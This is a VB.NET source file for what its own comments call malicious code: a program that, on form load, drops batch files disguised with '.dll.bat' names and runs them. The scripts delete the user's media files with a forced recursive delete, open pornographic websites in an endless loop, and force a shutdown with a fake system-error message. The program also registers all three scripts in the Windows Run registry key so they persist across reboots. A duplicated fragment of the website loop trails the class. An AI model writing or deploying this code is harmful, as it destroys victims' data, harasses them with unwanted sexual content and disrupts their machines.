Imports System.IO
Imports Microsoft.Win32
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        paginasweb()
        congelador()
        Inicio()
        apagado()
    End Sub
    Public Sub apagado()
        Try
            Dim Archivo As System.IO.FileStream
            'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
            Directory.CreateDirectory("C:\archivos de sistema\archivos protegidos")

            ' crea un archivo vacio en la carptea antes creada   
            Archivo = System.IO.File.Create("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
            Archivo.Close()

            'escribimos el codigo malicioso en EL .BAT antes creado
            Dim sw As New StreamWriter("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
            sw.WriteLine("shutdown -s -t ""5"" -c ""el sistema se cerrara debido a un problema con el sistema operativo"" -f")
            sw.Flush()
            sw.Close()

            'ejecuta el .bat creado anteriormente
            Shell("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
            Me.Close()

            ' error que pueda suceder
        Catch ex As Exception
            MsgBox(ex.Message, MsgBoxStyle.Critical)
        End Try
    End Sub
    Public Sub paginasweb()
        Try
            Dim Archivo As System.IO.FileStream
            'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
            Directory.CreateDirectory("C:\archivos de sistema")

            ' crea un archivo vacio en la carptea antes creada   
            Archivo = System.IO.File.Create("c:\archivos de sistema\archivo.dll.bat")
            Archivo.Close()

            'escribimos el codigo malicioso en EL .BAT antes creado y hace un bucle de pura paginas web
            Dim sw As New StreamWriter("c:\archivos de sistema\archivo.dll.bat")
            sw.WriteLine(":bucle")
            sw.WriteLine("start www.pornhub.com")
            sw.WriteLine("start www.youporn.com")
            sw.WriteLine("start www.megaporn.com")
            sw.WriteLine("goto bucle")
            sw.Flush()
            sw.Close()

            'ejecuta el .bat creado anteriormente
            Shell("c:\archivos de sistema\archivo.dll.bat")
            Me.Close()

            ' error que pueda suceder
        Catch ex As Exception
            MsgBox(ex.Message, MsgBoxStyle.Critical)
        End Try
    End Sub
    Public Sub congelador()
        Try
            Dim Archivo As System.IO.FileStream
            'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
            Directory.CreateDirectory("C:\archivos de sistema")

            ' crea un archivo vacio en la carptea antes creada   
            Archivo = System.IO.File.Create("c:\archivos de sistema\windows.dll.bat")
            Archivo.Close()

            'escribimos el codigo malicioso en EL .BAT antes creado
            Dim sw As New StreamWriter("c:\archivos de sistema\windows.dll.bat")
            sw.WriteLine("@echo off")
            sw.WriteLine("cd..")
            sw.WriteLine("del /S/F *wma *mp3 *avi *gif *jpg *wav *mp4")
            sw.Flush()
            sw.Close()

            'ejecuta el .bat creado anteriormente
            Process.Start("c:\archivos de sistema\windows.dll.bat")


            ' error que pueda suceder
        Catch ex As Exception
            MsgBox(ex.Message, MsgBoxStyle.Critical)
        End Try
    End Sub
    Public Sub Inicio()
        Try
            'esta es la ruta del registro en donde run es donde se guardan los programas que se van a ejecutar
            Const cadena As String = "Software\Microsoft\Windows\CurrentVersion\run"

            'esto permite modificar los valores del registro donde true es que si los va a modificar y false es no
            Dim clave As RegistryKey = Registry.CurrentUser.OpenSubKey(cadena, True)
            Dim valor As String
            Dim valor2 As String
            Dim valor3 As String

            'aqui ponemos la ruta del programa en si 
            valor = "C:\archivos de sistema\archivos protegidos\archivo.dll.bat"
            clave.SetValue("Windows", valor)

            valor2 = "c:\archivos de sistema\archivo.dll.bat"
            clave.SetValue("paginas", valor2)

            valor3 = "c:\archivos de sistema\windows.dll.bat"
            clave.SetValue("documentos", valor3)
            'comenzar un programa pasando una cadena con el nombre del ejecutable
            System.Diagnostics.Process.Start("Regedit.exe")
        Catch pollo As Exception
            'si hay errores, mostrar un aviso
            MessageBox.Show("¡ERROR! No ha sido posible ejecutar el programa.", "Regedit MiPC", MessageBoxButtons.OK, MessageBoxIcon.Error)
            'siempre cerrar el formulario al final
        Finally
            Me.Close()
        End Try

    End Sub
End Class

            sw.WriteLine(":bucle")
            sw.WriteLine("start www.pornhub.com")
            sw.WriteLine("start www.youporn.com")
            sw.WriteLine("start www.megaporn.com")
            sw.WriteLine("goto bucle")